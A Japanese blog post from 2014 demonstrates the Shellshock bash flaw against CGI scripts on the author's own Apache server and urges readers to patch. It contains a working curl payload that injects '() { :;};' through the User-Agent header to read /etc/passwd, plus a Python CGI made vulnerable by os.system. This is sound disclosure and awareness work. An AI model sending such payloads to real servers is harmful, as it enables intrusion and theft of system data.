BASHの脆弱性でCGIスクリプトにアレさせてみました
環境変数に仕込まれたコードを実行してしまうBASHの脆弱性が CGIスクリプトに影響を与えるか試してみたら結果は悲惨な感じに
** この記事は2014年のものです **
朝から <a href="https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/" target="_blank">Bash specially-crafted environment variables code injection attack</a> なるもので騒ぎになっていたので、さっそく手元の Apacheで試してみました。
## CGIスクリプト
```/hoge.cgi```というURIで実行されるように、一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険のありようもなく見えます。
```sh
#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"
```
多くの Linuxシステムでは ```/bin/sh```は ```/bin/bash``` を指していますので、このCGIは BASHで実行されることになります。
## 通常の実行結果

CGIスクリプトが echoした内容が表示されるだけです。
## 悪い奴の行動
それでは攻撃者に扮して curlで任意のコードを実行させてみます。```HTTP_USER_AGENT```あたりが手頃な環境変数なので curlの -A オプションを使って自白剤を注入してみました。
```text
$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
```
## 悪い奴の実行結果
ひでぶ

## 結論
シェルスクリプトで書かれたCGIを外向きのサーバーに置いている人は、今すぐ bashにパッチを適用するか、bash以外のシェルでCGIスクリプトが実行されるようになんとかするか、とりあえずそれらの対応ができるようになるまで ```chmod -x```して無効にするかしないと**死にます**。これのゼロデイがもう既に行われまくってたりしないといいのですが。
## 追記: 残念なお知らせです
CGI本体をシェルスクリプトで書いていなくても、シェルを使って外部コマンドを呼び出しているだけでこの脆弱性の影響を受けるケースを確認しました。影響を受けるCGIを漏れ無く探し出すのは相当困難になると思います。
下記は、```df -h```コマンドの出力を表示する Python製の CGIスクリプトです。脆弱性の影響を受けます。
```python
#!/usr/bin/python
import os,sys
print "Content-type: text/plain"
print
print "Hey, I'm a Python script so wouldn't be affected, right?"
sys.stdout.flush()
os.system("df -h") # OMG
```
検証環境はスクリーンショットの内容からお察しでおねがいします。一般的とは言いがたいですが、他の Linuxで大きく違うとはあまり思いません。
## 中の人の感想
<blockquote class="twitter-tweet" lang="ja"><p>CGIでアレできてしまう問題の本質は無毒化されていない入力を外部プログラムに与えてしまうことですが、環境変数にそんなアクロバティックな解釈を適用する奴がいるかもしれないことまでWebサーバ側は想像していなかったので無毒化処理の手法はおろか要否も議論されてこなかったという所ですかね</p>— 嶋田大貴 (@shimariso) <a href="https://twitter.com/shimariso/status/514996854082125824">2014, 9月 25</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
<blockquote class="twitter-tweet" lang="en"><p>「シェルショック三銃士を連れてきたよ」 「シェルショック三銃士!?」 本物のbourne shellがまだあると思ってる奴「bashじゃなくてshを使えよ」 CGIの仕組みを知らない奴「環境変数で値を渡すとか情弱w」 system(3)がわかってない奴「zsh使ってるから大丈夫」</p>— 嶋田大貴 (@shimariso) <a href="https://twitter.com/shimariso/status/519343382561169408">October 7, 2014</a></blockquote> <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>